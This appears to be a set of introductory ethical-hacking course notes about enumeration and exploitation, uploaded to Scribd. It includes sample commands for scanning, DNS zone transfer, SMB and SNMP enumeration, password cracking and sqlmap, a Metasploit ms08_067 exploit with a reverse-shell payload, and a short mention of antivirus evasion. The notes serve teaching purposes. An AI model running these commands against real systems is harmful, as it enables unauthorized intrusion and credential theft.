0% found this document useful (0 votes)
66 views13 pages

Unit 4 Ethical Hacking

Ethical unit4

Uploaded by

applebite262309
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
66 views13 pages

Unit 4 Ethical Hacking

Ethical unit4

Uploaded by

applebite262309
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 13

Enumeration

Definition: Enumeration is the process of extracting user names, machine names, network
resources, shares, and services from a system. In the context of cybersecurity, it involves
active connections to systems and is used to gather the information necessary for potential
exploitation.

Purpose: The main purpose of enumeration is to gain as much information as possible about
a target system, which can be used to identify potential points of entry and craft specific
attacks.

Common Enumeration Techniques:

1. Network Scanning: Identifying active devices on a network.


2. Port Scanning: Detecting open ports and associated services.
3. Vulnerability Scanning: Automated scanning of systems for known vulnerabilities.
4. DNS Queries: Gathering information about the domain names and their
corresponding IP addresses.

Enumeration Tools:

• Nmap: Used for network mapping and security auditing.


• NetBIOS: Tool for network-based device communication.
• SNMP Walking: Method to pull detailed data from network devices.

Table 1: Enumeration Techniques and Tools

Technique Tool Description


Network
Nmap Discovers devices and services on a network.
Scanning
Port Scanning Netcat Identifies open ports and running services.
DNS Queries dig/nslookup Retrieves DNS information about domains.
Collects detailed information from SNMP-enabled
SNMP Walking SNMPwalk
devices.

Exploitation

Definition: Exploitation involves leveraging vulnerabilities in a system or network to gain


unauthorized access or privileges. This can include executing arbitrary code, accessing
restricted data, or assuming control over system functions.

Purpose: The goal of exploitation is to control resources or access data that an attacker is not
normally able to reach by bypassing security restrictions.

Common Exploitation Techniques:

1. Exploit Kits: Pre-packaged sets of exploits used to automate cyber attacks.


2. Password Attacks: Techniques such as brute force, dictionary attacks, and credential
stuffing.
3. Operating System Exploits: Exploiting specific vulnerabilities in operating systems.
4. Application-Level Exploits: Targeting specific applications or services.

Exploitation Tools:

• Metasploit: A framework for developing and executing exploit code.


• John the Ripper: A powerful password cracking tool.
• Cain & Abel: A multi-purpose hacking tool used for password recovery and network
interception.

Table 2: Exploitation Techniques and Tools

Technique Tool Description


John the
Password Attacks Uses various methods to crack passwords.
Ripper
Operating System Framework used for creating and deploying
Metasploit
Exploits exploits.
Application-Level
Burp Suite Used for security testing of web applications.
Exploits

1. Network Scanning

Purpose: To discover active devices on a network and infer the types of services and
operating systems they are running.

Common Tools:

• Nmap: Can perform host discovery, port scanning, service enumeration, and
operating system detection.
• Wireshark: Analyzes network traffic in real time to spot active hosts and network
services.

Example Scenario: Using Nmap to perform a scan on a subnet to identify all connected
devices and open ports:

nmap -sV 192.168.1.0/24

This command scans the entire 192.168.1.0 subnet to identify live hosts, open ports, and
services running on those ports.

2. Port Scanning
Purpose: To identify open ports and the services running on those ports. It helps to determine
potential vulnerabilities in those services.

Common Tools:

• Netcat: A versatile networking tool used for port scanning, data transfer, and port
listening.
• PortScanner: A Python-based tool that automates the process of scanning for opened
ports.

Example Scenario: Using Netcat to scan for open TCP ports on a target machine:

nc -zv target-ip 20-445

This command checks for open ports between 20 and 445 on the target machine, providing
quick insights into active services.

3. Vulnerability Scanning

Purpose: To automate the process of identifying vulnerabilities in systems, software, and


networks.

Common Tools:

• OpenVAS: A full-featured vulnerability scanner that can be integrated with other


tools for comprehensive assessments.
• Nessus: A widely-used tool that scans for vulnerabilities and provides detailed reports
on how to mitigate them.

Example Scenario: Setting up OpenVAS to run regular scans on network systems to


continually assess and update their security status.

4. DNS Queries

Purpose: To extract information about domain names, subdomains, IP addresses, and


associated records which can indicate organizational structure and internal networks.

Common Tools:

• dig: A command-line tool for querying DNS name servers for information about host
addresses, mail exchanges, and name servers.
• nslookup: Provides information about DNS records and can help troubleshoot DNS
problems.

Example Scenario: Using dig to perform a zone transfer (which should typically be
blocked) to gather DNS information about a domain:

css
dig axfr @nameserver domain.com

This command attempts a DNS zone transfer from the specified nameserver for 'domain.com'
which could potentially reveal all DNS records for the domain.

5. Directory and Network Shares Enumeration

Purpose: To discover resources shared on the network which can be accessed or contain
sensitive information.

Common Tools:

• Enum4linux: A tool used for enumerating information from Windows and Samba
systems.
• SMBClient: Lists shares available on a target SMB/CIFS server.

Example Scenario: Using SMBClient to list all shares on a Windows server:

smbclient -L \\servername -U username

This command lists all shares accessible under the given username on the specified server.

6. SNMP Enumeration

Purpose: To extract data about network devices using Simple Network Management
Protocol (SNMP), which can include device types, configurations, and more.

Common Tools:

• SNMPwalk: Retrieves detailed information from network devices via SNMP.


• SNMPenum: Specifically designed for enumerating information through SNMP.

Example Scenario: Using SNMPwalk to gather configuration and status information from
network devices:

arduino
snmpwalk -v2c -c public target-ip

This command uses SNMP version 2c with the community string 'public' to query all SNMP
data from the target IP.

Summary Table: Enumeration Techniques and Tools

Technique Tool Description


Discover devices and services on a
Network Scanning Nmap, Wireshark
network.
Port Scanning Netcat, PortScanner Identify open ports and services.
Vulnerability Scanning OpenVAS, Nessus Automated scanning for vulnerabilities.
DNS Queries dig, nslookup Extract DNS information about domains.
Technique Tool Description
Network Shares Enum4linux,
Identify and access shared resources.
Enumeration SMBClient
SNMPwalk, Gather detailed info from network devices
SNMP Enumeration
SNMPenum via SNMP.

Soft Objective

Purpose: Soft objectives in cybersecurity refer to the informal goals set during the initial
phase of an enumeration process. These objectives involve gathering seemingly innocuous
but potentially valuable information that could later support more targeted attacks.

Key Activities:

• Collecting metadata from web servers.


• Enumerating usernames from email exchanges.
• Capturing banners of network services to determine software versions.

Example: In an assessment, a penetration tester might extract HTTP headers to understand


server configurations or explore error messages that may reveal details about backend
technologies, thereby setting up for more specific exploitation techniques.

Looking Around or Attack

Purpose: This activity involves a more active phase of reconnaissance, where the tester
interacts with the system to gather specific details that can be used to exploit vulnerabilities.

Key Activities:

• Network mapping to uncover the topology and identify connected devices.


• Port scanning to identify open ports and infer the running services and their versions.
• Operating system detection through crafted TCP/IP packets that elicit responses
revealing OS details.

Example: Using a tool like Nmap, a tester might perform a command like:

bash
nmap -sV -T4 target-ip

This command is used to identify service versions quickly on the target machine, giving
insights into potentially vulnerable software.
Elements of Enumeration

Purpose: The core objective during the enumeration phase is to methodically collect and
organize information about the target that can be leveraged in later stages of a penetration
test, specifically during exploitation.

Critical Elements in Enumeration:

1. Usernames and Group Information:


o Gathering details about user accounts, group memberships, and policies.
o Tools: LDAP queries, SNMP sweeps.
2. Network Services and Protocols:
o Enumerating services running on each identified port.
o Tools: Nmap, Nessus for deeper service enumeration.
3. Configuration Details and Security Postures:
o Identifying configurations that indicate security strength or weaknesses such
as password policies and firewall rules.
o Tools: Metasploit for testing specific vulnerabilities based on gathered
configurations.
4. Network Resources and Shares:
o Locating network drives, printers, and other shared resources that can be
accessed or exploited.
o Tools: smbclient, Enum4linux.

Example:

A tester may use Enum4linux to retrieve a list of shared directories from a Windows machine
with a command like:

bash

enum4linux -S target-ip

This tool can uncover not only shared resources but also password policies and user groups,
which are vital for planning further attacks.

Summary Table: Enumeration Phases

Phase Description Tools/Techniques


Gathering general, non-critical HTTP header analysis, metadata
Soft Objective
information. extraction
Looking Around or Active system interaction to
Nmap, service and OS detection
Attack identify vulnerabilities.
Elements of Detailed, methodical collection of LDAP queries, Nmap,
Enumeration target data. Enum4linux, smbclient
Intuitive Testing

Purpose: Intuitive testing in cybersecurity refers to the adaptive approach taken by


penetration testers as they interact with a target system. It involves dynamically adjusting
their methods based on real-time feedback and observed behaviors of the system.

Key Activities:

• Conducting live tests to understand how the system reacts to different inputs or
actions.
• Using manual probing to identify security weaknesses that automated tools might
miss.

Example: A tester might manually input unexpected values into web forms to see if it
induces errors that reveal underlying database or software flaws, such as SQL injection
vulnerabilities.

Evasion Techniques

Purpose: Developing evasion techniques is crucial for bypassing or deceiving security


measures like intrusion detection systems (IDS), firewalls, and antivirus software, allowing
testers to carry out their exploits without being detected.

Key Activities:

• Encrypting exploit payloads to avoid detection by network security devices.


• Using obfuscation techniques to make malicious scripts look benign.

Example: A common evasion technique involves modifying exploit code to alter its
signature, thereby avoiding detection by antivirus systems. Tools like Veil-Evasion can be
used to generate payloads that are less likely to be flagged by security software.

Threads and Groups

Purpose: Understanding the role of threads (as in programming and processing) and groups
(as in user group permissions) is vital for tailoring attacks to exploit specific system
vulnerabilities related to concurrency and permission levels.

Key Activities:

• Exploring how multithreading in applications can be exploited, such as race


conditions.
• Assessing group-based permissions to identify potential privilege escalation points.

Example: If a tester identifies that a certain user group has write permissions to a critical
system file, they might target users from this group to exploit these permissions for
unauthorized access or escalation.

Operating Systems
Purpose: The type of operating system (OS) running on a target can significantly influence
the choice of exploitation techniques, as each OS has its own set of vulnerabilities and
security features.

Key Activities:

• Identifying the OS during the enumeration phase and tailoring subsequent attacks to
exploit its specific weaknesses.
• Keeping up-to-date with the latest security patches and exploits for targeted OS types.

Example: Exploits like EternalBlue for Windows or Shellshock for Unix-based systems are
specific to the OS they target. Knowing the OS allows testers to choose the most effective
and efficient exploits.

Summary Ta

Component Description Examples/Tools


Adaptive testing based on real-time Manual input testing, live
Intuitive Testing
system responses. probing
Evasion Veil-Evasion, payload
Techniques to bypass security measures.
Techniques encryption
Threads and Exploiting multithreading and Race condition exploits,
Groups permissions for attacks. permission analysis
Operating Tailoring exploits to specific operating
EternalBlue, Shellshock
Systems system vulnerabilities.

Password Crackers

Purpose: Password crackers are tools used to recover passwords from data that has been
stored or transmitted by a computer system. Their primary use in cybersecurity is to test the
strength of passwords used within an organization.

Key Tools:

• John the Ripper: Highly versatile, it supports numerous hashing algorithms and is
widely used for cracking weak passwords.
• Hashcat: Known for its speed and efficiency, Hashcat is an advanced password
recovery tool supporting a wide array of algorithms.

Example: In a security assessment, a tester might use Hashcat to attempt to crack the hashed
passwords obtained from a breached database to demonstrate the need for stronger password
policies.

RootKits
Purpose: Rootkits are software programs designed to provide continued privileged access to
a computer while actively hiding their presence from administrators and users. They are
critical in understanding stealth techniques in malware.

Key Tools:

• Kali Linux Rootkit: A collection of tools in Kali Linux used for developing and
detecting rootkits.
• chkrootkit: A tool to locally check for signs of a rootkit.

Example: A security professional might use chkrootkit to scan a system suspected of being
compromised to detect hidden malware or unauthorized root-level access.

Applications

Purpose: Exploiting applications involves taking advantage of vulnerabilities within


software applications to carry out unauthorized actions or access data.

Key Techniques:

• SQL Injection: Exploiting poor input validation to manipulate backend databases.


• Cross-Site Scripting (XSS): Injecting malicious scripts into web applications that are
viewed by other users.

Example: A penetration tester could demonstrate an SQL injection on a vulnerable web


application to retrieve user credentials or other sensitive data stored in the database.

Wardialing

Purpose: Wardialing involves dialing a series of phone numbers automatically to find


computers, modems, fax machines, and other devices connected to the telephone line. It is
used to identify potential entry points into private networks or systems.

Key Tools:

• THC-Scan: A classic wardialing tool used to automate the calling and logging
process.
• WarVOX: A modern tool that uses VoIP lines to perform wardialing more
efficiently.

Example: A security auditor might use WarVOX to find modems connected to a company's
network that could serve as backdoors for unauthorized access.

Network Services and Areas of Concern

Purpose: Network services are central to a network's operation, and their vulnerabilities can
be exploited to gain unauthorized access or disrupt services.

Key Concerns:
• Open Ports: Unused open ports can act as entry points for attackers.
• Misconfigured Services: Services like FTP, SSH, or web servers, if not properly
configured, can lead to security breaches.
• Outdated Systems: Systems that are not regularly updated with security patches are
vulnerable to attacks.

Example: During a network security audit, a tester might use Nmap to scan for open ports
and identify outdated or misconfigured services that need to be secured.

Summary Table: Exploitation Tools and Techniques

Tool/Technique Purpose Examples/Use Cases


Password To test password strength and recover
John the Ripper, Hashcat
Crackers lost passwords.
To gain and maintain unauthorized
RootKits Kali Linux Rootkit, chkrootkit
access to a system.
SQL Injection, Cross-Site
Applications To exploit software vulnerabilities.
Scripting (XSS)
To find connected devices through
Wardialing THC-Scan, WarVOX
telephone lines.
To secure or exploit network Nmap for scanning,
Network Services
operations. configuration audits

Common techniques, tools, and their practical applications.


1. Exploit Kits

Purpose: To provide attackers with pre-packaged sets of exploits that can be used to
automate the launching of attacks against systems with known vulnerabilities.

Common Tools:

• Metasploit: A comprehensive framework that includes a suite of tools for developing


and executing exploit code.
• BeEF (Browser Exploitation Framework): Specialized in web browser
exploitation.

Example Scenario: Using Metasploit to exploit a known vulnerability in a Windows system


to gain remote access:

shell

msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOST target-ip
set payload windows/meterpreter/reverse_tcp
set LHOST your-ip
exploit
This sequence sets up and executes an exploit against a known SMB vulnerability, potentially
giving the attacker control over the target machine.

2. Password Attacks

Purpose: To gain unauthorized access to systems by cracking user passwords.

Common Techniques:

• Brute Force Attack: Trying every possible combination until the password is found.
• Dictionary Attack: Using a list of commonly used passwords.
• Credential Stuffing: Using previously breached username and password pairs.

Common Tools:

• John the Ripper: Highly versatile tool for cracking passwords.


• Hashcat: Advanced password recovery utility.

Example Scenario: Using John the Ripper to crack password hashes extracted from a
database:

shell

john --format=md5 hashes.txt

This command uses John the Ripper to crack MD5 hashed passwords found in the
hashes.txt file.

3. Operating System Exploits

Purpose: To exploit specific vulnerabilities in operating systems that can allow for elevation
of privilege, unauthorized access, or denial of service.

Common Techniques:

• Buffer Overflow: Overrunning the buffer memory to execute arbitrary code.


• Injection Flaws: Injecting malicious code into software systems.

Example Scenario: Exploring a known buffer overflow vulnerability in an older version of


Linux:

• Detailed research and testing would be conducted to understand the specific buffer
overflow and how it can be exploited using customized payloads.

4. Application-Level Exploits

Purpose: To target specific applications or services that may have vulnerabilities due to poor
coding practices or software flaws.

Common Techniques:
• SQL Injection: Inserting malicious SQL queries into input fields to manipulate or
access databases.
• Cross-Site Scripting (XSS): Injecting malicious scripts into web pages viewed by
other users.

Common Tools:

• SQLmap: Automated tool for SQL injection testing.


• OWASP ZAP: Open-source tool for finding vulnerabilities in web applications.

Example Scenario: Using SQLmap to automate the exploitation of an SQL injection


vulnerability in a web application:

shell

sqlmap -u "http://example.com/page?id=1" --risk 3 --level 5 --dbms mysql

This command configures SQLmap to test for SQL injection vulnerabilities in the specified
URL, assuming a MySQL database.

5. Network Exploits

Purpose: To compromise network protocols and services to intercept, manipulate, or disrupt


network traffic.

Common Techniques:

• Man-in-the-Middle (MITM) Attacks: Intercepting and altering communication


between two parties who believe they are directly communicating with each other.
• Session Hijacking: Exploiting valid computer session to gain unauthorized access to
information or services.

Example Scenario: Conducting a MITM attack using tools like Ettercap or Wireshark to
intercept and modify traffic between two networked computers.

Summary Table: Exploitation Techniques and Tools

Technique Tool Description


Automated frameworks for deploying a variety
Exploit Kits Metasploit, BeEF
of exploits.
John the Ripper, Tools for cracking passwords using different
Password Attacks
Hashcat attacking strategies.
Operating System Custom Exploiting specific OS vulnerabilities for
Exploits scripts/tools unauthorized access.
Application-Level SQLmap, OWASP Targeting vulnerabilities in applications like
Exploits ZAP web apps and databases.
Tools for intercepting and manipulating network
Network Exploits Ettercap, Wireshark
traffic.

You might also like